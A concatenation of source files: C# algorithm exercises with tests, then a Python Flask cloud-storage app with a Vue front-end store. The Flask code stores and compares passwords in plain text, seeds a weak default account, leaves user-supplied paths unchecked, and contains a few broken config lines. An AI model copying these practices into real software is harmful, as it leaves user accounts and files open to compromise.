dict.Add(4, 1); dict.Add(2, 1); dict.Add(3, 1); int[] orderedKeys = { 1, 4, 2, 3 }; int index = 0; foreach(var key in dict.Keys) { output.WriteLine($"{key} = {dict[key]}"); key.Should().Be(orderedKeys[index++]); } } } } <file_sep>namespace Arrays.Sorting { class QuickSortA : QuickSortBase { protected override void Sort(int[] array, int start, int end) { if(start < end) { int pivotIndex = Partition(array, start, end); Sort(array, start, pivotIndex - 1); Sort(array, pivotIndex, end); } } // This partition algorithm takes a pivot as parameter (usually the mid point in the array) // Then it takes two pointers, left and right. Left pointer will traverse the array from left to right. // Whereas right pointer will do so from right to left. // It will swap the left and right items once: left item is greater or equal to pivot and right item is // less or equal to pivot. protected override int Partition(int[] array, int start, int end) { int mid = (start + end) / 2; int pivot = array[mid]; int left = start; int right = end; while(left <= right) { while(array[left] < pivot) left++; while(array[right] > pivot) right--; if(left <= right) { array.Swap(left, right); left++; right--; } } return left; } } }<file_sep>using System; using System.Collections; using System.Collections.Generic; namespace Trees { public enum TraverseOrder { InOrder, PreOrder, PostOrder, LevelOrder } public class Tree<T> where T: IComparable<T> { private Node<T> _root; public Tree() : this(null) {} public Tree(T rootData) : this(new Node<T>(rootData)) {} internal Tree(Node<T> root) { _root = root; } public bool IsEmpty => _root == null; public void Insert(T data) { if (_root == null) { _root = new Node<T>(data); return; } _root.Insert(data); } public IEnumerable<T> Traverse() { return Traverse(TraverseOrder.InOrder); } public IEnumerable<T> Traverse(TraverseOrder order) { if(_root == null) throw new InvalidOperationException(); var traversal = default(IEnumerable<T>); switch(order) { case TraverseOrder.InOrder: traversal = _root.TraverseInOrder(); break; case TraverseOrder.PostOrder: traversal = _root.TraversePostOrder(); break; case TraverseOrder.PreOrder: traversal = _root.TraversePreOrder(); break; case TraverseOrder.LevelOrder: traversal = _root.TraverseLevelOrder(); break; } return traversal; } internal Node<T> Root => _root; } }<file_sep>using System; using System.Collections; using System.Linq; namespace Arrays.Search { public static class BinarySearch { public static bool Search(long[] array, long lookupValue) { Array.Sort(array); // int index = SearchInternal(array, lookupValue, 0, array.Length - 1); int index = BinarySearchLoop(array, lookupValue); return index >= 0; } private static int SearchInternal(long[] array, long lookupValue, int startIndex, int endIndex) { if(startIndex > endIndex) { return -1; //Value not found. } int midIndex = (endIndex + startIndex) / 2; if(lookupValue > array[midIndex]) { return SearchInternal(array, lookupValue, midIndex + 1, endIndex); } else if(lookupValue < array[midIndex]) { return SearchInternal(array, lookupValue, startIndex, midIndex - 1); } return midIndex; } private static int BinarySearchLoop(long[] array, long lookupValue) { int startIndex = 0; int endIndex = array.Length - 1; int midIndex = 0; while(startIndex <= endIndex) { midIndex = (endIndex + startIndex) / 2; if(lookupValue > array[midIndex]) { startIndex = midIndex + 1; } else if(lookupValue < array[midIndex]) { endIndex = midIndex - 1; } else if(lookupValue == array[midIndex]) { return midIndex; } } return -1; } } }<file_sep>using Xunit; namespace Arrays.SwapSum { public class SwapSumTests { [Theory] [InlineData(new long[] {0, 1, 2, 3, 4, 5}, new long[] {5, 4, 6, 0, 0}, true)] [InlineData(new long[] {0, 3, 5, 7, 9, 1}, new long[] {5, 4, 1, 9}, true)] [InlineData(new long[] {0, 3, 5, 7, 9, 1}, new long[] {2, 4, 8, 9, 1}, false)] public void AreElegibleTests(long[] arrayA, long[] arrayB, bool expectedResult) { var areElegible = SwapSum.AreElegible(arrayA, arrayB); Assert.Equal(expectedResult, areElegible); } } }<file_sep>using System; using Xunit; namespace Arrays.TwoSortedArraysMedian { public class TwoSortedArraysMedianTests { [Theory(DisplayName = "FindMedianSortedArrays")] [InlineData(new int[] {1, 2}, new int[] {3}, 2.0)] [InlineData(new int[] {1, 2}, new int[] {3, 4}, 2.5)] [InlineData(new int[] {4, 20, 32, 50, 55, 61}, new int[] {1, 15, 22, 30, 70}, 30.0)] [InlineData(new int[] {23, 26, 31, 35}, new int[] {3, 5, 7, 9, 11, 16}, 13.5)] [InlineData(new int[] {23, 26, 31, 35, 36}, new int[] {3, 5, 7, 11}, 23.0)] public void FindMedianSortedArraysTests(int[] nums1, int[] nums2, double expectedMedian) { double actual = Solution.FindMedianSortedArrays(nums1, nums2); Assert.Equal(expectedMedian, actual); } } }<file_sep>using System; namespace Heaps { public class MinHeap { private int _capacity; private int _size; private int[] _items; public MinHeap() : this(10) {} public MinHeap(int capacity) { _capacity = capacity; _size = 0; _items = new int[_capacity]; } public int Peek() { if(IsEmpty) { throw new InvalidOperationException(); } return _items[0]; } public int Poll() { if(IsEmpty) { throw new InvalidOperationException(); } int item = _items[0]; _items[0] = _items[_size - 1]; _size--; HeapifyDown(); return item; } public void Add(int item) { EnsureCapacity(); _items[_size] = item; _size++; HeapifyUp(); } private int GetLeftChildIndex(int parentIndex) => 2 * parentIndex + 1; private int GetRightChildIndex(int parentIndex) => 2 * (parentIndex + 1); private int GetParentIndex(int childIndex) => (childIndex - 1) / 2; private bool IsEmpty => _size == 0; private bool HasLeftChild(int index) => GetLeftChildIndex(index) < _size; private bool HasRightChild(int index) => GetRightChildIndex(index) < _size; private bool HasParent(int index) => GetParentIndex(index) >= 0; private int GetLeftChild(int index) => _items[GetLeftChildIndex(index)]; private int GetRightChild(int index) => _items[GetRightChildIndex(index)]; private int GetParent(int index) => _items[GetParentIndex(index)]; private void Swap(int indexA, int indexB) { int temp = _items[indexA]; _items[indexA] = _items[indexB]; _items[indexB] = temp; } private void EnsureCapacity() { if(_size == _capacity) { _capacity *= 2; int[] temp = new int[_capacity]; _items.CopyTo(temp, 0); _items = temp; } } private void HeapifyUp() { int index = _size - 1; while(HasParent(index) && GetParent(index) > _items[index]) { Swap(index, GetParentIndex(index)); index = GetParentIndex(index); } } private void HeapifyDown(int index = 0) { while(HasLeftChild(index)) { int childIndex = GetLeftChildIndex(index); if(HasRightChild(index) && GetRightChild(index) < GetLeftChild(index)) { childIndex = GetRightChildIndex(index); } if(_items[index] < _items[childIndex]) { break; } else { Swap(index, childIndex); } index = childIndex; } } } }<file_sep> using System; using System.Collections.Generic; namespace MigratoryBirds { public class MigratoryBirds { public int Solve(int[] inputArray) { var birdSights = new Dictionary<int, int> { { 1, 0 }, { 2, 0 }, { 3, 0 }, { 4, 0 }, { 5, 0 } }; foreach(var birdId in inputArray) { if(!birdSights.ContainsKey(birdId)) { birdSights.Add(birdId, 0); } birdSights[birdId] = birdSights[birdId] + 1; } /*foreach(var item in birdSights) { Console.WriteLine("{0}: {1}", item.Key, item.Value); }*/ //birdSight.s int maxCountBirdId = 0, maxCount = 0; foreach(var birdId in birdSights.Keys) { if(birdSights[birdId] > maxCount) { maxCount = birdSights[birdId]; maxCountBirdId = birdId; /*Console.WriteLine("maxCount = {0}", maxCount); Console.WriteLine("birdId = {0}", birdId); Console.WriteLine("maxCountBirdId = {0}", maxCountBirdId);*/ /*if(maxCountBirdId == 0 || maxCountBirdId > birdId) { maxCountBirdId = birdId; }*/ } } return maxCountBirdId; } } }<file_sep>using System; using System.Collections; namespace Trees { public static class CheckBstTreeExtensions { public static bool CheckBst(this Tree<int> tree) { if(tree == null || tree.IsEmpty) { return true; } return tree.Root.CheckBst(); } private static bool CheckBst(this Node<int> node) { return CheckBst(node, Int32.MinValue, Int32.MaxValue); } private static bool CheckBst(Node<int> node, int min, int max) { if(node == null) return true; if(node.Data < min || node.Data > max) return false; return CheckBst(node.Left, min, node.Data) && CheckBst(node.Right, node.Data, max); } } }<file_sep>namespace Arrays.Sorting { public interface ISorter { void Sort(int[] array); } }<file_sep>using System; using System.IO; using System.Text; namespace Problems.MergeLists { public class SinglyLinkedList { public SinglyLinkedListNode Head { get; private set; } = null; public SinglyLinkedListNode Tail { get; private set; } = null; public SinglyLinkedListNode PreviousTail { get; set; } = null; public int Count { get; private set; } = 0; public void Append(int nodeData) { var newNode = new SinglyLinkedListNode(nodeData); if (Head == null) { Head = newNode; } else { PreviousTail = Tail; Tail.Next = newNode; } Tail = newNode; Count++; } public void Prepend(int nodeData) { var newNode = new SinglyLinkedListNode(nodeData) { Next = Head }; if (Tail == null) { Tail = newNode; } else if (newNode.Next == Tail) { PreviousTail = newNode; } Head = newNode; Count++; } public SinglyLinkedListNode RemoveFirst() { var currentHead = Head; if (Tail == currentHead) { Tail = null; } Head = Head?.Next; Count--; return currentHead; } public SinglyLinkedListNode RemoveLast() { SinglyLinkedListNode lastNode; if (Head == Tail) { lastNode = Tail; Head = Tail = null; } else { var currentNode = Head; while (currentNode?.Next?.Next != null) currentNode = currentNode.Next; lastNode = Tail; Tail = currentNode; Tail.Next = null; } Count--; return lastNode; } public override bool Equals(object other) { if (!(other is SinglyLinkedList)) { return false; } var ptr1 = this.Head; var ptr2 = (other as SinglyLinkedList).Head; while (ptr1 != null && ptr2 != null) { if (ptr1.Data != ptr2.Data) { return false; } ptr1 = ptr1.Next; ptr2 = ptr2.Next; } if (ptr1 != null || ptr2 != null) { return false; } return true; } public override int GetHashCode() { return 7 ^ Count ^ Head.GetHashCode() ^ Tail.GetHashCode(); } public static SinglyLinkedList FromArray(int[] array) { if (array is null) { throw new ArgumentNullException(nameof(array)); } var newList = new SinglyLinkedList(); foreach (int item in array) { newList.Append(item); } return newList; } public void Print(TextWriter textWriter, string sep = " ") { Print(Head, sep, textWriter); } public static void Print(SinglyLinkedListNode head, string sep, TextWriter textWriter) { var node = head; textWriter.Write("["); while (node != null) { textWriter.Write("{0}", node.Data); if (node.Next != null) { textWriter.Write(sep); } node = node.Next; } textWriter.Write("]"); } } }
06997f38d39b9e09ebd61d9a3e1c1c51d7d586a4
[ "C#" ]
44
C#
pablogo1/algorithms
3ea04cffb30e3f3ec5cafca25681972aeffa87a1
9275d4322361df3168c26f82ae7af8c08035b498
refs/heads/master
<file_sep>import unittest from cloudr.utils import change_path_prefix class TestUtils(unittest.TestCase): def test_change_path_prefix(self): self.assertEqual(change_path_prefix('/123', '/', '/'), '/123') self.assertEqual(change_path_prefix('/123/234', '/123', '/123'), '/123/234') self.assertEqual(change_path_prefix('/123', '/', '/234'), '/234/123') self.assertEqual(change_path_prefix('/123', '/', '/123'), '/123/123') self.assertEqual(change_path_prefix('/123/345', '/123', '/'), '/345') self.assertEqual(change_path_prefix('/123/234/345', '/123/234', '/456'), '/456/345') self.assertEqual(change_path_prefix('/123/345', '/123', '/234/456'), '/234/456/345') if __name__ == "__main__": unittest.main() <file_sep>import os import json _config = json.load('config.json') _CURRENT_DIR = os.path.split(__file__)[0] ARIA2_HOST = _config['aria2']['host'] ARIA2_PORT = _config['aria2']['port'] ARIA2_TOKEN = _config['aria2']['token'] REDIS_HOST = _config['redis']['host'] REDIS_PORT = _config['redis']['port'] REDIS_URL = 'redis://{}:{}'.format(REDIS_HOST, REDIS_PORT) # 'redis://localhost:6379' SQLITE_URL = 'sqlite:///' + _CURRENT_DIR + os.sep + 'db.sqlite3' SPLIT_SIZE = _config['split_size'] FILE_PATH = os.path.join(os.path.abspath(_CURRENT_DIR, os.path.pardir), '.files') <file_sep>import unittest from cloudr import create_app class TestDatabase(unittest.TestCase): def setUp(self): self.app = create_app() self.app_context = self.app.app_context() self.app_context.push() def test_app_exsits(self): self.assertFalse(self.app is None) if __name__ == "__main__": unittest.main()<file_sep>from flask import Blueprint, render_template, request, redirect, jsonify from cloudr.model import Users from flask_login import login_user view_bp = Blueprint("views", __name__) @view_bp.route("/login", methods=["POST", "GET"]) def login(): if request.method == "POST": user_name = request.form['username'] password = request.form['password'] user = Users.query.filter(Users.username == user_name).first() if user and user.password == password: login_user(user) return redirect('/app') else: return jsonify({"result": "invalid name or password."}) return render_template('login.html') # debug with webpack dev server $.post('/login', 'username=lee&password=<PASSWORD>') @view_bp.route('/video') def video(): return render_template('video.html') <file_sep>""" this file is used for debug flask in vscode. """ from cloudr import create_app app = create_app() app.run(debug=True, use_reloader=False)<file_sep>from .aria2 import Aria2 <file_sep>import unittest from cloudr.utils.filetype import check_file_type class TestFileType(unittest.TestCase): OTHER_TYPE = "other" IMAGE_TYPE = "image" VIDEO_TYPE = "video" AUDIO_TYPE = "audio" DOCUMENT_TYPE = "document" def test_other_type(self): self.assertEqual(check_file_type("myfile"), self.OTHER_TYPE) self.assertEqual(check_file_type("myfile.123"), self.OTHER_TYPE) def test_image_type(self): self.assertEqual(check_file_type("myfile.jpg"), self.IMAGE_TYPE) self.assertEqual(check_file_type("/favoico.ICO"), self.IMAGE_TYPE) def test_video_type(self): self.assertEqual(check_file_type("/foo/bar/myfile.mP4"), self.VIDEO_TYPE) def test_audio_type(self): self.assertEqual(check_file_type("/etc/myfile.mp4.fLaC"), self.AUDIO_TYPE) def test_document_type(self): self.assertEqual(check_file_type("C:\\myfile.pdf"), self.DOCUMENT_TYPE) if __name__ == "__main__": unittest.main() <file_sep>// The Vue build version to load with the `import` command // (runtime-only or standalone) has been set in webpack.base.conf with an alias. import Vue from 'vue' import $ from 'jquery' import App from './App' import 'bootstrap' import { store } from './store' import '@mdi/font/css/materialdesignicons.css' import 'bootstrap/dist/css/bootstrap.min.css' import 'animate.css/animate.css' Vue.config.productionTip = false function resizeListContainer(event) { var listContainer = document.querySelector(".list-container") var rec = listContainer.getBoundingClientRect() var pageHeight = window.innerHeight listContainer.style.height = (pageHeight - rec.top) + "px" }; window.onresize = resizeListContainer window.$ = $ $(document).ready(function() { resizeListContainer() }) /* eslint-disable no-new */ new Vue({ store, el: '#app', components: { App }, render: h => h(App) }) <file_sep>from .app import app_bp from .views import view_bp <file_sep>from cloudr.config import REDIS_URL broker_url = REDIS_URL result_backend = REDIS_URL task_serializer = 'json' result_serializer = 'json' accept_content = ['json'] beat_schedule = { 'refresh': { 'task': 'task.download.refresh', 'schedule': 10.0 } } <file_sep>import Vue from 'vue' import Vuex from 'vuex' import { apiDeleteResource, apiGetPathContent, apiNewDirectory, apiRenameResource, apiPasteFiles, apiSearch } from "../lib/api" Vue.use(Vuex) export const store = new Vuex.Store({ state: { path: '/', files: [], select: [], notification: [], // notification message like {level: 'info', content: 'this is a info'} operateFiles: [], // this array includes the selected operate files imgModalAttr: { fileName: '', show: false } }, getters: { pathNameArray(state) { if (state.path === '/') { return ['Home'] } let paths = state.path.split('/') paths[0] = 'Home' return paths }, isFileItemSelected({ select }) { return select.every((v) => !v) }, formatPath(state, { pathNameArray }) { return pathNameArray.join('/') }, hasMessage({ notification }) { return (notification.length > 0) }, firstMessage({ notification }) { return notification[0] } }, mutations: { enterDir(state, { dirName }) { if (state.path.endsWith('/')) { state.path += dirName } else { state.path += ('/' + dirName) } }, enterParentDir(state, { parentDirName, index }) { if (state.path !== '/') { let path = state.path.toString() let nameArr = path.split('/') nameArr[0] = 'Home' parentDirName = parentDirName.toString().replace(/\//g, '') // remove / in upperDirName if (nameArr[index] === parentDirName) { path = nameArr.slice(0, index + 1).join('/') path = path.startsWith('Home') ? path.replace('Home', '') : path path = (path === '') ? '/' : path state.path = path } } }, changeFiles({ files, select }, { newFiles }) { let length = files.length > newFiles.length ? files.length : newFiles.length newFiles.sort(compareFileName) files.splice(0, length, ...newFiles) select.splice(0, length, ...getFalseIter(newFiles.length)) }, deleteFiles({ files }, { indexList }) { indexList.sort().reverse() for (let index of indexList) { files.splice(index, 1) } }, addDir({ files }, { file }) { files.push(file) }, rename({ files }, { newName, index }) { let file = files[index] file.fileName = newName files.splice(index, 1, file) }, selectOne({ select }, { index, value }) { if (typeof (value) !== 'boolean') { throw TypeError('Value must be boolean.') } select.splice(index, 1, value) }, selectAll({ select }, { value }) { if (typeof (value) !== 'boolean') { throw TypeError('Value must be boolean.') } if (value === true) { select.splice(0, select.length, ...getTrueIter(select.length)) } else { select.splice(0, select.length, ...getFalseIter(select.length)) } }, pushMessage({ notification }, payload) { notification.push(payload) }, deleteLatestMessage({ notification }) { if (notification.length > 0) { notification.shift() } }, modifyOperateFiles({ operateFiles }, { files }) { let length = operateFiles.length > files.length ? operateFiles.length : files.length if (files.length > 0) { operateFiles.splice(0, length, ...files) } else { operateFiles.splice(0, length) } }, imgModal({ imgModalAttr }, { show, fileName }) { imgModalAttr.show = show if (fileName !== undefined) { imgModalAttr.fileName = fileName } } }, actions: { enterDir(context, payload) { context.commit('enterDir', payload) context.dispatch('getCurrentPathContent') }, enterParentDir(context, payload) { context.commit('enterParentDir', payload) context.dispatch('getCurrentPathContent') }, async getCurrentPathContent(context) { let path = context.state.path try { let response = await apiGetPathContent(path) let newFiles = response.files context.commit('changeFiles', { newFiles }) } catch (e) { let content = '' if (e.status === 504) { content = '服务器无响应,请稍后刷新再试。' } else { content = '网络出现问题,请稍后刷新再试。' } let payload = { level: 'warning', content: content } context.dispatch('publishMessage', payload) } }, async deleteFiles(context, {path, fileList, indexList}) { let response = await apiDeleteResource(path, fileList) if (response.result === 'success') { context.commit('deleteFiles', { indexList }) } }, async newDirectory(context, {path, dirName}) { let response = await apiNewDirectory(path, dirName) if (response.result === 'success') { context.commit('addDir', { file: response.file }) } return response }, async rename(context, {path, oldName, newName, index}) { let response = await apiRenameResource(path, oldName, newName) if (response.result === 'success') { context.commit('rename', { newName, index }) } }, selectOne(context, payload) { context.commit('selectOne', payload) }, selectAll(context, payload) { context.commit('selectAll', payload) }, publishMessage({ commit, dispatch }, payload) { commit('pushMessage', payload) setTimeout(() => dispatch('deleteLatestMessage'), 5000) }, deleteLatestMessage({ commit }) { commit('deleteLatestMessage') }, modifyOperateFiles({ commit, dispatch }, payload) { commit('modifyOperateFiles', payload) }, async pasteFiles({ dispatch }, { fileNames, path, newPath }) { let response = await apiPasteFiles(fileNames, path, newPath) return response }, async search({ commit, dispatch }, { query, path }) { commit('enterDir', { dirName: 'search' }) let response = await apiSearch(query, path) if (response.result === 'success') { commit('changeFiles', { newFiles: response.files }) } return response } } }) const fileType = ['directory', 'image', 'video', 'audio', 'document', 'zip', 'other'] function compareString(str1, str2) { if (str1 > str2) { return 1 } else if (str1 < str2) { return -1 } else { return 0 } } function compareFileName(f1, f2) { if (f1.fileType === 'directory' && f2.fileType !== 'directory') { return 1 } else if (f1.fileType !== 'directory' && f2.fileType === 'directory') { return -1 } else { return compareString(f1.fileName, f2.fileName) } } function compareFileNameWithTime(f1, f2) { if (f1.fileType === 'directory' && f2.fileType === 'directory') { return compareString(f1.modifiedTime, f2.modifiedTime) } else if (f1.fileType === 'directory' && f2.fileType !== 'directory') { return 1 } else if (f1.fileType !== 'directory' && f2.fileType === 'directory') { return -1 } else { let rv = compareString(f1.modifiedTime, f2.modifiedTime) if (rv === 0) { return compareString(f1.fileName, f2.fileName) } return rv } } function compareFileNameWithSize(f1, f2) { if (f1.fileType === 'directory' && f2.fileType !== 'directory') { return 1 } else if (f1.fileType !== 'directory' && f2.fileType === 'directory') { return -1 } else { let rv = compareString(f1.fileSize, f2.fileSize) if (rv === 0) { return compareString(f1.fileName, f2.fileName) } return rv } } function* getFalseIter(length) { for (let i = 0; i < length; i++) { yield false } } function* getTrueIter(length) { for (let i = 0; i < length; i++) { yield true } } <file_sep>from .filetype import check_file_type <file_sep>from flask import Flask from ..config import SQLITE_URL from .model import db, Users, File, FileType, OfflineDownload from .redis_model import redis_db, UploadCache def create_app(): app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = SQLITE_URL app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True db.init_app(app) return app db_app = create_app() <file_sep>import json import os file_types = ['directory', 'image', 'video', 'audio', 'document', 'zip', 'other'] # IMAGE_TYPE = {"jpg", "png", "gif", "webp", "tif", "bmp", "ico", "psd"} # VIDEO_TYPE = {"mp4", "m4v", "mkv", "mov", "avi", "mpg", "mpg", "rmvb"} # AUDIO_TYPE = {"mid", "mp3", "m4a", "ogg", "flac", "wav", "amr"} # ZIP_TYPE = {"zip", "tar", "rar", "gz", "bz2", "7z", "xz"} # DOCUMENT_TYPE = {"pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "epub"} current_pwd = os.path.split(__file__)[0] with open(current_pwd + os.sep + "filetype.json", 'r') as f: TYPE_LIST = json.loads(f.read()) def check_file_type(file_name): arr = file_name.split('.') if(len(arr) < 2): return "other" ext_name = arr[-1].lower() for typename in TYPE_LIST: if(ext_name in TYPE_LIST[typename]): return typename return "other" <file_sep>import json import os from walrus import Model, Walrus, IntegerField, ListField, TextField, DateTimeField, BooleanField _config = json.load(os.path.join(os.path.dirname(os.path.dirname(__file__)), 'config.json')) redis_db = Walrus(host=_config['redis']['host'], port=_config['redis']['port'], db=0) class UploadCache(Model): __database__ = redis_db _id = 0 id = IntegerField(primary_key=True) cache = ListField() sequence_number = IntegerField(default=0) max_sequence_number = IntegerField(default=0) # store upload file information size = IntegerField(default=0) path = TextField(default='/') md5 = TextField() upload_date = DateTimeField() file_name = TextField() filetype = IntegerField() user_id = IntegerField() # store saving task information saving_task_start = BooleanField(default=False) @classmethod def generate_id(cls): rv = cls._id cls._id += 1 return rv <file_sep>from flask import Blueprint, render_template from flask_login import login_required app_bp = Blueprint('app', __name__, static_folder='../app/dist/static', template_folder='../app/dist', url_prefix='/app') @app_bp.route('/', methods=['GET']) @login_required def app(): return render_template('index.html') <file_sep>import os import math from datetime import datetime from werkzeug.utils import secure_filename from flask import send_from_directory, current_app, request, jsonify, session, abort from flask_login import current_user from cloudr import model from cloudr.model import db, File, Users, UploadCache from cloudr.utils.filetype import check_file_type from cloudr.utils import api_result, SUCCESS_RESULT, FAILURE_RESULT from cloudr.config import SPLIT_SIZE from . import bp # @bp.route("/downloads/<filemd5>", methods=["POST", "GET"]) # def file_download(filemd5): # return send_from_directory(current_app.config['FILE_PATH'], filemd5) @bp.route("/download", methods=["GET"]) def file_download(): user_name = 'lee' path = request.args.get('path') filename = request.args.get('filename') file = File.query.join(Users).filter( Users.username == user_name, File.filename == filename, File.path == path ).first() if not file: abort(404) return send_from_directory(current_app.config['FILE_PATH'], file.md5, as_attachment=True, attachment_filename=filename, conditional=True) @bp.route("/uploads", methods=["POST"]) def file_upload(): blob = request.files['blob'] try: uc = UploadCache.load(request.form['task_id']) except Exception: return jsonify(api_result(FAILURE_RESULT, 'upload task may be expired. restart a new upload later.')) uc.cache.append(blob) if not uc.saving_task_start: # todo: start saving task pass return jsonify(api_result(SUCCESS_RESULT)) @bp.route('/upload-request', methods=["POST"]) def upload_request(): try: user_id = current_user.id except AttributeError: abort(404) file = request.files['file'] size = int(request.form['filesize']) path = request.form['path'] md5 = request.form['md5'] upload_date = datetime.now() file_name = file.filename file_type_name = check_file_type(file_name) filetype = model.FileType.query.filter(model.FileType.filetype == file_type_name).first() if not filetype: return jsonify(api_result("failure", "can't identify the file type.")) filetype = filetype.id max_sequence_number = math.ceil(size / SPLIT_SIZE) uc = UploadCache.create( id=UploadCache.generate_id(), max_sequence_number=max_sequence_number, size=size, path=path, md5=md5, upload_date=upload_date, file_name=file_name, filetype=filetype, user_id=user_id ) return jsonify(api_result(SUCCESS_RESULT, task_id=uc.id, split_size=SPLIT_SIZE)) <file_sep>import os import click from flask.cli import with_appcontext from flask import Flask, render_template from flask_login import LoginManager from .model import db from .config import FILE_PATH, SQLITE_URL login_manager = LoginManager() login_manager.login_view = '/login' @login_manager.user_loader def load_user(user_id): from .model import Users return Users.query.filter(Users.id == int(user_id)).first() @click.command("init-db") @with_appcontext def init_db_command(): from . import model db.drop_all() db.create_all() db.session.commit() click.echo("Initialized the database.") def init_file_type_table(): from . import model for file_type in model.FileType.file_types: ft = model.FileType(filetype=file_type) db.session.add(ft) db.session.commit() click.echo("Initialized file_type table.") def add_user(name, password): from .model import Users u = Users(username=name, password=<PASSWORD>) db.session.add(u) db.session.commit() click.echo("add " + str(u) + " success.") @click.command('init-table') @with_appcontext def init_table(): init_file_type_table() add_user('lee', '123') def create_app(): app = Flask(__name__, static_folder='static') app.config['SECRET_KEY'] = os.urandom(24) app.config['LOGIN_DISABLED'] = False app.config['SQLALCHEMY_DATABASE_URI'] = SQLITE_URL app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True app.config['FILE_PATH'] = FILE_PATH db.init_app(app) login_manager.init_app(app) from . import api from . import file from . import views app.register_blueprint(api.bp) app.register_blueprint(file.bp) app.register_blueprint(views.app_bp) app.register_blueprint(views.view_bp) app.cli.add_command(init_db_command) app.cli.add_command(init_table) return app <file_sep>from flask_sqlalchemy import SQLAlchemy from flask_login import UserMixin db = SQLAlchemy() class Users(db.Model, UserMixin): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(20), unique=True, nullable=False) password = db.Column(db.String(40), nullable=False) def __repr__(self): return "<({}) {}>".format(self.id, self.username) class File(db.Model): id = db.Column(db.Integer, primary_key=True) userid = db.Column(db.Integer, db.ForeignKey("users.id"), nullable=False) filetype = db.Column(db.Integer, db.ForeignKey("file_type.id"), nullable=False) filename = db.Column(db.String(40), nullable=False) filesize = db.Column(db.Integer) uploaddate = db.Column(db.DateTime, nullable=False) path = db.Column(db.Text, nullable=False) md5 = db.Column(db.String(40), nullable=False) def __repr__(self): return "<File ({name}) {path}>".format(name=self.filename, path=self.path) class FileType(db.Model): id = db.Column(db.Integer, primary_key=True) filetype = db.Column(db.String(10), nullable=False) file_types = ['directory', 'image', 'video', 'audio', 'document', 'zip', 'other'] def __repr__(self): return '<({}) {}>'.format(self.id, self.filetype) class OfflineDownload(db.Model): id = db.Column(db.Integer, primary_key=True) userid = db.Column(db.Integer, db.ForeignKey("users.id"), nullable=False) filename = db.Column(db.String(40)) path = db.Column(db.Text, nullable=False) url = db.Column(db.Text, nullable=False) gid = db.Column(db.String(16)) completed = db.Column(db.Integer, nullable=False) # from 0 to 100 percent done = db.Column(db.Boolean, nullable=False) time = db.Column(db.DateTime, nullable=False) error = db.Column(db.Integer, nullable=False) message = db.Column(db.Text) def __repr__(self): return '<{} {} {}%>'.format(self.id, self.filename, self.completed) <file_sep>import os import hashlib from datetime import datetime from flask import jsonify, request, current_app from cloudr.model import File, Users, FileType, OfflineDownload, db from . import bp from task.download import addUri from cloudr.utils import change_path_prefix from flask_login import login_required, current_user @bp.route("/hello", methods=["GET", "POST"]) def hello(): return jsonify(greet="hello") @bp.route("/get-path-content", methods=["POST"]) @login_required def get_path_content(): user_name = current_user.username path = request.json['path'] files = File.query.join(Users).join(FileType).\ filter(Users.username == user_name, File.path == path).\ add_columns(FileType.filetype).all() rv = {"result": "success", "files": []} for index, f in enumerate(files): file_item = {} file_item['id'] = index file_item['fileName'] = f.File.filename file_item['fileType'] = f.filetype file_item['fileSize'] = f.File.filesize file_item['modifiedTime'] = f.File.uploaddate.strftime("%Y-%m-%d %H:%M:%S") file_item['path'] = f.File.path rv['files'].append(file_item) return jsonify(rv) @bp.route("/delete-resource", methods=["POST"]) @login_required def delete_resource(): dir_file_type = FileType.query.filter(FileType.filetype == 'directory').first().id user_name = current_user.username path = request.json['path'] # todo: path check file_list = request.json["fileList"] for file_name in file_list: file = File.query.join(Users).join(FileType).\ filter(Users.username == user_name).\ filter(File.path == path).\ filter(File.filename == file_name).first() if file: if file.filetype != dir_file_type: real_file_name = current_app.config["FILE_PATH"] + os.sep + file.md5 File.query.filter(File.id == file.id).delete() if os.path.isfile(real_file_name): os.remove(real_file_name) else: # todo: delete the whole directory File.query.filter(File.id == file.id).delete() else: pass db.session.commit() return jsonify({"result": "success"}) @bp.route("/new-directory", methods=["POST"]) @login_required def new_directory(): user_name = current_user.username size = 0 path = request.json['path'] # todo: path check md5 = "-" upload_date = datetime.now() # file_name = secure_filename(request.json['dirName']) file_name = request.json['dirName'] # todo: check file name to void repeat file_type = FileType.query.filter(FileType.filetype == 'directory').first().id user_id = Users.query.filter(Users.username == user_name).first().id # todo: catch user_name is not found file = File(userid=user_id, filetype=file_type, filename=file_name, filesize=size, uploaddate=upload_date, path=path, md5=md5) db.session.add(file) db.session.commit() file_info = {} file_info["id"] = file.id file_info["fileName"] = file.filename file_info["fileType"] = "directory" file_info["fileSize"] = file.filesize file_info["modifiedTime"] = file.uploaddate.strftime("%Y-%m-%d %H:%M:%S") return jsonify({"result": "success", "file": file_info}) @bp.route("/rename-resource", methods=["POST"]) @login_required def rename_resource(): new_name = request.json['newname'] old_name = request.json['oldname'] path = request.json['path'] user_name = current_user.username file = File.query.join(Users).filter(Users.username == user_name, File.path == path, File.filename == old_name).first() File.query.filter(File.id == file.id).update({'filename': new_name}) db.session.commit() return jsonify({"result": "success"}) @bp.route('/offline-download', methods=['POST']) @login_required def offline_download(): params = request.json user_name = current_user.username user_id = Users.query.filter(Users.username == user_name).first().id path = params['path'] url = params['url'] time = datetime.now() od = OfflineDownload(path=path, url=url, completed=0, time=time, error=0, userid=user_id, done=False) db.session.add(od) db.session.commit() addUri.delay(od.id, [url]) return jsonify({"result": "success", 'id': od.id}) @bp.route('/move-resource', methods=['POST']) @login_required def move_resource(): params = request.json user_name = current_user.username user_id = Users.query.filter(Users.username == user_name).first().id file_names = params['filenames'] path = params['path'] new_path = params['newpath'] directory_type_id = FileType.query.filter(FileType.filetype == 'directory').first().id for file_name in file_names: file = File.query.filter( File.userid == user_id, File.path == path, File.filename == file_name).first() if file.filetype != directory_type_id: file.path = new_path else: path_like = (file.path if file.path != '/' else '') + '/' + file.filename + '%' path_prefix = file.path # this path is the path the need to change files = File.query.filter( File.userid == user_id, File.path.like(path_like) ).all() for f in files: print(change_path_prefix(f.path, path_prefix, new_path), f, sep=',') f.path = change_path_prefix(f.path, path_prefix, new_path) file.path = new_path db.session.commit() return jsonify({"result": "success"}) @bp.route('/search', methods=['POST']) @login_required def search(): params = request.json path = params['path'] query_str = params['query'] user_name = current_user.username user_id = Users.query.filter(Users.username == user_name).first().id files = File.query.join(FileType).filter( File.userid == user_id, File.path.like(path + 